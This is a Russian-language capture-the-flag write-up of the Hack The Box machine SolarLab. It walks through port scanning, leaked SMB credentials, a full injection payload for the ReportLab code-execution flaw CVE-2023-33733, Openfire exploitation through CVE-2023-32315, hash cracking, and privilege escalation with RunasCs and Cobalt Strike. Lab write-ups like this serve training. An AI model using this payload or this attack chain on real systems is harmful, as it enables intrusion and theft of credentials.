Авторы: FaLLenSkiLL Malwarya
Ссылка на тачку HTB:
https://app.hackthebox.com/machines/SolarLab
Разведка
Сканируем порты:
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -21s
| smb2-time:
| date: 2024-05-13T16:13:30
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Добавляем домены в /etc/hosts
echo "10.10.11.16 solarlab.htb" | sudo tee -a /etc/hosts
echo "10.10.11.16 report.solarlab.htb" | sudo tee -a /etc/hosts
Попадаем на сайтик:
User-flag
Подключаемся по smb под пользователем anonymous
Выкачиваем таблицу с паролями
Логинимся под пользователем Blakeb. Попадаем вот сюда:
Натыкаемся на генератор PDF. Смотрим метаданные файла. Видим, что документ сгенерирован с помощью библиотеки ReportLab PDF Library
Поискав в интернете популярные уязвимости, мы натыкаемся на CVE-2023-33733. Это уязвимость в библиотеке ReportLab, связанная с небезопасной обработкой входных данных, которая позволяет злоумышленнику выполнить произвольный код.
Подробнее тут: https://github.com/c53elyas/CVE-2023-33733
PoC:
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('Здесь мог бы быть ваш payload') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
Перехватываем запрос в burpsuite, внедряем полезную нагрузку
Получаем шелл, читаем user-flag
Root-flag
Просматриваем открытые порты
Запускаем Cobaltstrike, где генерируем SOCKS4 на порту 57378. В качестве альтернативы Кобальту, для проброса портов можно использовать https://github.com/Pokefenn/Chisel.
C помощью proxychains проверяем подключение
Через FoxyProxy получаем доступ к локальному Web-у на 9090 порту
Нас встречает форма логина Openfire
Запускаем msfconsole, пробрасывая весь трафик через захваченную тачку
Воспользуемся эксплоитом для CVE-2023-32315. Он создаст нам новую учетную запись и вернет шелл
Переходим в директорию с файлами бд
Находим базу данных Openfire
Вытаскиваем хэш администратора
Брутим его с помощью OpenFireDecryptPass
Скачиваем на целевую тачку RunasCs.exe. Он позволяет создавать процесс от имени администратора (если известен пароль) с полными привилегиями
Предварительно скачав на рабочий стол пользователя openfire Шелл.exe, запустим exe и поймаем его в кобальте
Читаем root-flag
Tags: